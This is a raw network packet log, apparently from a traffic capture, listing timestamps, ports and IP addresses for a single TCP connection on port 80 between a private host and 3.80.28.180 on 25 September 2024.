Sep 25, 2024 03:51:31.018254995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.018270016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.018279076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.018290997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.018296957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.018323898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.018326998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.018340111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.018354893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.018371105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.018383026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.018409967 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.040805101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.040832043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.040846109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.040875912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.040903091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.040925026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.040941000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.040975094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.040988922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.040991068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.041007996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.041048050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.104585886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.104707956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.104726076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.104773998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.104782104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.104834080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.104842901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.104953051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.104979992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.104993105 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.104995012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105014086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105057955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.105091095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105104923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105149984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.105197906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105212927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105227947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105243921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.105283976 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.105335951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105360031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105375051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105391026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105408907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105408907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.105424881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105448008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.105470896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.105669975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105684996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105700016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105715036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105727911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.105731964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105747938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105751991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.105767012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105782986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105798006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105813980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105822086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.105832100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.105860949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.106024981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106074095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.106121063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106136084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106152058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106168032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106177092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.106187105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106204987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106235027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.106249094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.106421947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106436968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106451035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106467009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106478930 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.106483936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106499910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106515884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106544971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.106590033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.106827974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106842995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106857061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106872082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106877089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.106890917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106901884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.106905937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106925011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106934071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.106942892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106960058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106971979 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.106975079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.106992960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107002974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107007980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107026100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107042074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107062101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107063055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107076883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107080936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107099056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107485056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107502937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107517004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107532024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107532978 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107557058 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107563019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107578039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107594013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107604027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107609987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107626915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107640028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107642889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107661009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107670069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107687950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107702971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107702971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107718945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107736111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107748985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107753038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107775927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107779980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107791901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107812881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107819080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107827902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107844114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107851982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.107857943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.107888937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.108464956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108480930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108495951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108515024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.108520985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108536959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108551025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108556986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.108567953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108583927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108588934 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.108601093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108616114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108618975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.108632088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108644962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.108648062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108665943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108683109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108695030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.108700037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108711958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.108716965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108732939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108736038 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.108748913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108767033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108777046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.108783960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108798981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.108810902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.108932972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.109285116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.109302044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.109354019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.131980896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.131995916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.132011890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.132038116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.132050037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.132055044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.132071018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.132090092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.132107973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.132117033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.132131100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.132148027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.195813894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.195877075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.195928097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.195943117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.195962906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.195997953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196013927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.196049929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196084023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196115017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.196118116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196158886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.196173906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196208000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196242094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196259975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.196260929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196280003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196305990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196311951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.196325064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196341991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196358919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196374893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.196388006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196408033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196414948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.196424961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196433067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.196444035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196465015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196466923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.196484089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196510077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.196782112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196798086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196815014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196830988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196846962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196865082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196866035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.196883917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196901083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.196907043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196924925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.196934938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.196969986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.197031975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197194099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197208881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197225094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197241068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197257042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197267056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.197277069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197293997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197299957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.197312117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197328091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197346926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197348118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.197365999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197372913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.197407961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.197609901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197626114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197642088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197660923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197686911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.197721004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.197767973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197784901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197926998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197942972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197959900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197972059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.197977066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.197993994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198000908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.198012114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198018074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.198029995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198046923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198046923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.198065042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198081970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198090076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.198097944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198113918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198126078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.198131084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198148966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198160887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.198172092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198189020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198231936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.198543072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198766947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198790073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198806047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198816061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.198824883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198841095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198858023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198870897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.198873043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198889971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198898077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.198906898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198918104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.198924065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198940992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198951006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.198957920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198976040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198991060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.198996067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.199007988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199013948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.199055910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.199506044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199532032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199548006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199562073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199577093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199579000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.199594975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199598074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.199610949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199628115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199635029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.199645042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199661970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199676991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199676991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.199695110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199706078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.199711084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.199727058 CEST	80	49730	3.80.28.180	192.168.2.4
